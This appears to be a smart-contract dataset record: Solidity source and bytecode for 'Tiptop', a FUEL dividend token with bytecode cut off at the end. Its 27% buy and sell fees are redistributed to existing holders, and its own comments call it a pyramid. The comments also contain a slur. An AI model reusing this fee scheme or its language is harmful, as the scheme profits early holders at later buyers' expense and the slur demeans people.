73ffffffffffffffffffffffffffffffffffffffff161415151561117c57600080fd5b6111868484610b7d565b508373ffffffffffffffffffffffffffffffffffffffff168260405180828051906020019080838360005b838110156111cc5780820151818401526020810190506111b1565b50505050905090810190601f1680156111f95780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af1915050151561121957600080fd5b600190509392505050565b600360159054906101000a900460ff1681565b6000600360159054906101000a900460ff1615151561125557600080fd5b61125f8383611e9e565b905092915050565b60056020528060005260406000206000915090505481565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156112bc57600080fd5b6112c68484611237565b508373ffffffffffffffffffffffffffffffffffffffff168260405180828051906020019080838360005b8381101561130c5780820151818401526020810190506112f1565b50505050905090810190601f1680156113395780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af1915050151561135957600080fd5b600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113c257600080fd5b600360149054906101000a900460ff161515156113de57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148857600080fd5b600360159054906101000a900460ff161515156114a457600080fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4b5257540000000000000000000000000000000000000000000000000000000081525081565b6000600360159054906101000a900460ff1615151561156a57600080fd5b611574838361212f565b905092915050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115b957600080fd5b6115c4858585610c98565b508373ffffffffffffffffffffffffffffffffffffffff168260405180828051906020019080838360005b8381101561160a5780820151818401526020810190506115ef565b50505050905090810190601f1680156116375780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af1915050151561165757600080fd5b60019050949350505050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156116a057600080fd5b6116aa848461154c565b508373ffffffffffffffffffffffffffffffffffffffff168260405180828051906020019080838360005b838110156116f05780820151818401526020810190506116d5565b50505050905090810190601f16801561171d5780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af1915050151561173d57600080fd5b600190509392505050565b6000600360159054906101000a900460ff1615151561176657600080fd5b611770838361234e565b905092915050565b6006602052816000526040600020602052806000526040600020600091509150505481565b600860ff16600a0a64174876e80002600181905550600860ff16600a0a64174876e800026000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600860ff16600a0a64174876e800026040518082815260200191505060405180910390a3565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118fb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611aea57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611b3757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611bc257600080fd5b611c13826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ca6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611e7b57fe5b8091505092915050565b6000828211151515611e9357fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611faf576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612043565b611fc28382611e8590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561216c57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156121b957600080fd5b61220a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006123df82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820ea7fe7db1e540eeaa2ca8b538b4c308670aae741135bbc37c5a6629c33b28c790029
|
{"success": true, "error": null, "results": {}}
| 5,361 |
0x05acf6955e199b0dcc33b74a91bacbaffa86d5cb
|
pragma solidity ^0.4.20;
/*
Website: https://www.tiptopuniverse.com
Discord: https://discord.gg/pXh5qEq
*/
contract Tiptop {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Tip Top Universe";
string public symbol = "FUEL";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 27;
uint8 constant internal refferalFee_ = 20;
uint8 constant internal exitFee_ = 27;
uint256 constant internal tokenPriceInitial_ = 0.000000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 50e18;
// referral program
mapping(address => uint256) internal referrals;
mapping(address => bool) internal isUser;
address[] public usersAddresses;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/* Converts all of caller's dividends to tokens. */
function reinvest() onlyStronghands() public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/* Alias of sell() and withdraw(). */
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/* Withdraws all of the callers earnings. */
function withdraw() onlyStronghands() public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/* Liquifies tokens to ethereum. */
function sell(uint256 _amountOfTokens) onlyBagholders() public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/* Transfer tokens from the caller to a new holder. * No fee! */
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {
// setup
address _customerAddress = msg.sender;
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function referralsOf(address _customerAddress)
public
view
returns(uint256)
{
return referrals[_customerAddress];
}
function totalUsers()
public
view
returns(uint256)
{
return usersAddresses.length;
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a Kekly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
if (isUser[_customerAddress] == false) {
referrals[_referredBy]++;
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (isUser[_customerAddress] == false ) {
isUser[_customerAddress] = true;
usersAddresses.push(_customerAddress);
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6060604052600436106101315763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461013f57806306fdde031461017057806310d0ffdd146101fa57806318160ddd146102105780632260937314610223578063313ce567146102395780633ccfd60b146102625780634b7503341461027757806356d399e81461028a578063688abbf71461029d5780636b2f4632146102b557806370a08231146102c857806373338081146102e7578063831aba43146103195780638620410b14610338578063949e8acd1461034b57806395d89b411461035e578063a9059cbb14610371578063bff1f9e1146103a7578063e4849b32146103ba578063e9fad8ee146103d0578063f088d547146103e3578063fdb5a03e146103f7575b61013c34600061040a565b50005b341561014a57600080fd5b61015e600160a060020a0360043516610721565b60405190815260200160405180910390f35b341561017b57600080fd5b61018361075c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101bf5780820151838201526020016101a7565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020557600080fd5b61015e6004356107fa565b341561021b57600080fd5b61015e61082d565b341561022e57600080fd5b61015e600435610834565b341561024457600080fd5b61024c610870565b60405160ff909116815260200160405180910390f35b341561026d57600080fd5b610275610875565b005b341561028257600080fd5b61015e610941565b341561029557600080fd5b61015e610999565b34156102a857600080fd5b61015e600435151561099f565b34156102c057600080fd5b61015e6109e2565b34156102d357600080fd5b61015e600160a060020a03600435166109f0565b34156102f257600080fd5b6102fd600435610a0b565b604051600160a060020a03909116815260200160405180910390f35b341561032457600080fd5b61015e600160a060020a0360043516610a33565b341561034357600080fd5b61015e610a4e565b341561035657600080fd5b61015e610a99565b341561036957600080fd5b610183610aac565b341561037c57600080fd5b610393600160a060020a0360043516602435610b17565b604051901515815260200160405180910390f35b34156103b257600080fd5b61015e610c2c565b34156103c557600080fd5b610275600435610c32565b34156103db57600080fd5b610275610d98565b61015e600160a060020a0360043516610dcf565b341561040257600080fd5b610275610ddb565b600033818080808080806104296104228c601b610e96565b6064610ec8565b9650610439610422886014610e96565b95506104458787610edf565b94506104518b88610edf565b935061045c84610ef1565b925068010000000000000000850291506000831180156104865750600a546104848482610f85565b115b151561049157600080fd5b600160a060020a038a16158015906104bb575087600160a060020a03168a600160a060020a031614155b80156104e15750600254600160a060020a038b1660009081526006602052604090205410155b1561056357600160a060020a038a166000908152600760205260409020546105099087610f85565b600160a060020a03808c16600090815260076020908152604080832094909455918b1681526004909152205460ff16151561055e57600160a060020a038a166000908152600360205260409020805460010190555b61057e565b61056d8587610f85565b945068010000000000000000850291505b600160a060020a03881660009081526004602052604090205460ff16151561060b57600160a060020a0388166000908152600460205260409020805460ff1916600190811790915560058054909181016105d88382611036565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a161790555b6000600a54111561066f57610622600a5484610f85565b600a81905568010000000000000000860281151561063c57fe5b600b8054929091049091019055600a5468010000000000000000860281151561066157fe5b048302820382039150610675565b600a8390555b600160a060020a0388166000908152600660205260409020546106989084610f85565b600160a060020a03808a16600081815260066020908152604080832095909555600b54600890915290849020805491880287900391820190559350908c16917f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d5908e9087905191825260208201526040908101905180910390a350909998505050505050505050565b600160a060020a0316600090815260086020908152604080832054600690925290912054600b54680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b820191906000526020600020905b8154815290600101906020018083116107d557829003601f168201915b505050505081565b600080808061080d61042286601b610e96565b92506108198584610edf565b915061082482610ef1565b95945050505050565b600a545b90565b600080600080600a54851115151561084b57600080fd5b61085485610f94565b925061086461042284601b610e96565b91506108248383610edf565b601281565b6000806000610884600161099f565b1161088e57600080fd5b33915061089b600061099f565b600160a060020a0383166000818152600860209081526040808320805468010000000000000000870201905560079091528082208054929055920192509082156108fc0290839051600060405180830381858888f19350505050151561090057600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b600080600080600a5460001415610960576402187119ff199350610993565b610971670de0b6b3a7640000610f94565b925061098161042284601b610e96565b915061098d8383610edf565b90508093505b50505090565b60025481565b600033826109b5576109b081610721565b6109d9565b600160a060020a0381166000908152600760205260409020546109d782610721565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526006602052604090205490565b6005805482908110610a1957fe5b600091825260209091200154600160a060020a0316905081565b600160a060020a031660009081526003602052604090205490565b600080600080600a5460001415610a6c5764028fa6ae009350610993565b610a7d670de0b6b3a7640000610f94565b9250610a8d61042284601b610e96565b915061098d8383610f85565b600033610aa5816109f0565b91505b5090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b6000806000610b24610a99565b11610b2e57600080fd5b50336000610b3c600161099f565b1115610b4a57610b4a610875565b600160a060020a038116600090815260066020526040902054610b6d9084610edf565b600160a060020a038083166000908152600660205260408082209390935590861681522054610b9c9084610f85565b600160a060020a03858116600081815260066020908152604080832095909555600b805494871680845260089092528583208054958a0290950390945592548282529084902080549188029091019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5092915050565b60055490565b6000806000806000806000610c45610a99565b11610c4f57600080fd5b33600160a060020a038116600090815260066020526040902054909650871115610c7857600080fd5b869450610c8485610f94565b9350610c9461042285601b610e96565b9250610ca08484610edf565b9150610cae600a5486610edf565b600a55600160a060020a038616600090815260066020526040902054610cd49086610edf565b600160a060020a038716600090815260066020908152604080832093909355600b546008909152918120805492880268010000000000000000860201928390039055600a54919250901115610d4b57610d47600b54600a54680100000000000000008602811515610d4157fe5b04610f85565b600b555b85600160a060020a03167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a31139868460405191825260208201526040908101905180910390a250505050505050565b33600160a060020a03811660009081526006602052604081205490811115610dc357610dc381610c32565b610dcb610875565b5050565b60006109dc348361040a565b600080600080610deb600161099f565b11610df557600080fd5b610dff600061099f565b33600160a060020a038116600090815260086020908152604080832080546801000000000000000087020190556007909152812080549082905590920194509250610e4b90849061040a565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b600080831515610ea95760009150610c25565b50828202828482811515610eb957fe5b0414610ec157fe5b9392505050565b6000808284811515610ed657fe5b04949350505050565b600082821115610eeb57fe5b50900390565b600a546000906b033b2e3c9fd0803ce80000009082906402540be400610f72610f6c730380d4bd8a8678c1bb542c80deb4800000000000880268056